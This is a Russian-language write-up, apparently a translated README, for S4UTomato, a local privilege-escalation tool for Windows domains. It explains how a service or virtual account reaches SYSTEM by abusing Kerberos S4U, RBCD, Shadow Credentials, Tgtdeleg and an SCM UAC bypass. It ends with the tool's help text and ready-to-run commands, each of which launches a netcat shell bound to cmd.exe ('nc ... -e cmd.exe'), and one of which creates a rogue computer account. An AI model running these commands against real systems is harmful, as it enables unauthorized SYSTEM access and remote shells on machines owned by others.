
Повышение привилегий сервисной учетной записи до LocalSystem через Kerberos
Повышение привилегий сервисной учетной записи до LocalSystem через Kerberos.
Друзьям, знакомым с серией методов повышения привилегий «Potato», должно быть известно, что она позволяет поднять привилегии сервисной учетной записи до уровня локальной системы. Ранние техники эксплуатации «Potato» почти идентичны: используя определенные возможности COM-интерфейсов, обманом заставить учетную запись NT AUTHORITY\SYSTEM подключиться и аутентифицироваться на RPC-сервере под контролем атакующего. Затем, посредством серии вызовов API, во время этого процесса аутентификации проводится атака «человек посередине» (NTLM Relay), в результате которой на локальной системе генерируется маркер доступа для учетной записи NT AUTHORITY\SYSTEM. Наконец, этот маркер похищается, и с помощью функции CreateProcessWithToken() или CreateProcessAsUser() создается новый процесс с переданным маркером для получения привилегий SYSTEM.
В среде домена Windows учетные записи SYSTEM, NT AUTHORITY\NETWORK SERVICE и Microsoft virtual accounts используются для аутентификации от имени доменных компьютерных учетных записей системы. Понимание этого важно, потому что в современных версиях Windows большинство служб Windows по умолчанию работают с использованием виртуальных учетных записей Microsoft. В частности, IIS и MSSQL используют такие виртуальные учетные записи, и я полагаю, что другие приложения тоже могут их применять. Поэтому мы можем злоупотребить расширением S4U для получения служебного билета для учетной записи администратора домена «Administrator» на локальной машине. Затем, с помощью SCMUACBypass от Джеймса Форшоу (@tiraniddo), мы можем использовать этот билет для создания системной службы и получения привилегий SYSTEM. Это достигает того же эффекта, что и традиционные методы, используемые в семействе техник повышения привилегий «Potato».
В любом сценарии, где машина присоединена к домену, вы можете использовать вышеупомянутые методы для локального повышения привилегий, если у вас есть возможность выполнять код в контексте учетной записи службы Windows или виртуальной учетной записи Microsoft, при условии, что Active Directory не была закалена до полной защиты от таких атак.
Прежде чем это сделать, нам необходимо получить TGT (Ticket Granting Ticket) для учетной записи локальной машины. Это непросто из-за ограничений, накладываемых разрешениями сервисной учетной записи, что не позволяет нам получить долгосрочный ключ компьютера и, следовательно, построить запрос KRB_AS_REQ. Для достижения вышеуказанной цели я использовал три техники: Resource-based Constrained Delegation, Shadow Credentials и Tgtdeleg. Свой проект я построил на основе набора инструментов Rubeus.
C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-beta
Copyright (c) 2023
-d, --Domain Домен (FQDN) для аутентификации.
-s, --Server Имя хоста контроллера домена или LDAP-сервера.
-m, --ComputerName Имя новой учетной записи компьютера для создания.
-p, --ComputerPassword Пароль новой учетной записи компьютера для создания.
-f, --Force Принудительное обновление атрибута 'msDS-KeyCredentialLink' объекта
компьютера.
-c, --Command Программа для запуска.
-v, --Verbose Вывод подробной отладочной информации.
--help Отображение этой справки.
--version Отображение информации о версии.
S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

# Сначала получаем TGT через Tgtdeleg
S4UTomato.exe tgtdeleg
# Затем запускаем SCMUACBypass для получения привилегий SYSTEM
S4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"
